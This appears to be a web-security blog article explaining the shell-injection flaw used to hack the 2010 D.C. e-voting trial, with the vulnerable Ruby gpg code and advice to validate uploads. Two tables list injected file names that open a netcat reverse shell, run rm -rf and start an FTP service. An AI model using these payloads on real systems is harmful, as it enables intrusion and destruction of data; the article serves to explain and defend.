The District of Columbia recently attempted to give the opportunity to a number of people who live or work overseas to be able to cast their vote remotely. To do this a secure E-Voting website costing over $300,000 was built. On Tuesday, September 28 2010 the first public trial run was launched. Thirty-six hours later the voting system was hacked by a student. It took nearly three days for D.C officials to realize that their system was compromised. The trial was immediately suspended and red-faced engineers and politicians quickly scrambled to find out how this breach could possibly have happened.
In all fairness, the student was not just any student. He was the student of a class led by J. Alex Halderman, an assistant professor at the University of Michigan who specialises in computer security. Halderman heard about the public trial run of the E-Voting system just a few days before its launch and quickly assembled a team from his students. Their task was to test the site for vulnerabilities, and exploit the first security hole that they found.
The Exploit in Detail
After only 36 hours of going live, a security hole in the E-Voting Web Application was discovered. This particular vulnerability allowed an E-Voter to take near-complete ownership of the Internet Voting website allowing them to:
- Collect data from server, including all votes and other secret information such as the E-Voter’s passwords, and the keys used to encrypt the data.
- Modify ballots of that had already been cast. These were encrypted on the server but were cracked using the recovered keys.
- They also installed backdoor enabling them (or someone else) to easily gain access to the system at a later time.
- Interestingly they also embedded an anthem which played automatically on a voters browser a few seconds after his vote was cast. The song was no other than the university’s victory song.
You can see a demonstration of their anthem on the E-Voting Website here. (You need to wait 15 seconds before the song begins.)
To do all this, Halderman’s team exploited what is often called a “Shell-Injection Vulnerability”. It is part of a bigger family of vulnerabilities classified as “Code-Injection Vulnerabilities”, the same family that contains both Cross Site Scripting (XSS) and SQL Injection.
To exploit this, the team executed the following sequence of events:
- Fill in their e-voting form, which is in PDF format
- Append a Unix Shell command to the filename’s extension
- Upload the file, and the desired command will execute with full system privileges
Below is a diagram showing where the flaw was discovered:
Shell-Injection
Command | Description |
---|---|
$ netcat 192.168.5.10 9 -e /bin/bash | Allow a host to execute shell commands remotely |
$ rm –rf * | Delete all the files and folders on the disk |
$ service proftpd start | Start the File Transfer service on the remote host |
The attacker managed to inject shell commands in a very ingenious way. He realised that when he uploaded his vote, which is a PDF file, the server encrypts the file. It does this after running a Ruby script that “shells out” to invoke an encryption module called GNU Privacy Guard, known to UNIX hackers simply as gpg.
“Shelling out” of a script is in itself not a security flaw, it is a common practice employed by many web developers when they need to execute external commands on the server. This practice is frowned upon by many security researchers because when used incorrectly it can lead to critical security breaches, giving the attacker complete ownership of the system.
In this case, the fatal flaw was that the shell command executed by the web application made use of the extension of the file uploaded by the voter. Every character in the file name that appeared after the last period was appended to the shell command. To compound the problem, little or no validation was done to the file name after it was uploaded.
The segment below highlights the code that uses the file extension as part of the gpg encryption command.
begin run("rm", "-f "#{File.expand_path(dst.path)}"") run("gpg", "--trust-model always -o "#{File.expand_path(dst.path)}" -e -r "#{@recipient}" "#{File.expand_path(src.path)}"") rescue PaperclipCommandLineError raise PaperclipError, "couldn't be encrypted. Please try again later."
The highlighted code above will cause the server execute the following command after a file named myvotingdocument.pdf has been uploaded:
gpg […] /tmp/stream,28957,0.pdf
If a file with a different extension were to be uploaded, for example myvotingdocument.bad, the following command will be executed on the server:
gpg […] /tmp/stream,28957,0.bad
The real trouble comes when a ‘new command’ character followed by a shell command is placed right after the last period, as shown in the following example:
The file name: ballot.$(sleep 10)pdf would run two commands:
gpg […] /tmp/stream,28957,0. sleep 10
The command sleep 10 will cause the server to wait 10 seconds before proceeding. Whilst that is not very malicious, the following file names can cause a great deal of damage:
File name | Command |
---|---|
ballot.$netcat 192.168.5.10 9 -e /bin/bash)pdf | $ netcat 192.168.5.10 9 -e /bin/bash |
ballot.$(rm –rf *)pdf | $ rm –rf * |
ballot.$service proftpd start)pdf | $ service proftpd start |
To allow an end user to upload files to your website, is like opening another door for a malicious user to compromise your server.
Remedies
One has to see the irony in this story. It was a security feature of the E-Voting Application (the encryption module) that led to it’s ultimate demise. The devloper of the system was doing a secure thing, but he did this insecurely. In my opinion it was a major design flaw in the first place to allow E-Voters to upload their own files, let alone, upload PDF files, a file format that has been recently plagued by numerous security scandals.
My advice to web application developers is to limit the instances that allow for users to upload files. Where this is not possible be sure to implement additional security measures. As a minimum, file names should be checked for malicious commands, they should also be scanned for viruses before being committed to the system. Files and file names are forms of user input and just like any user input or any external data your web application receives, it can never be trusted.
Get the latest content on web security
in your inbox each week.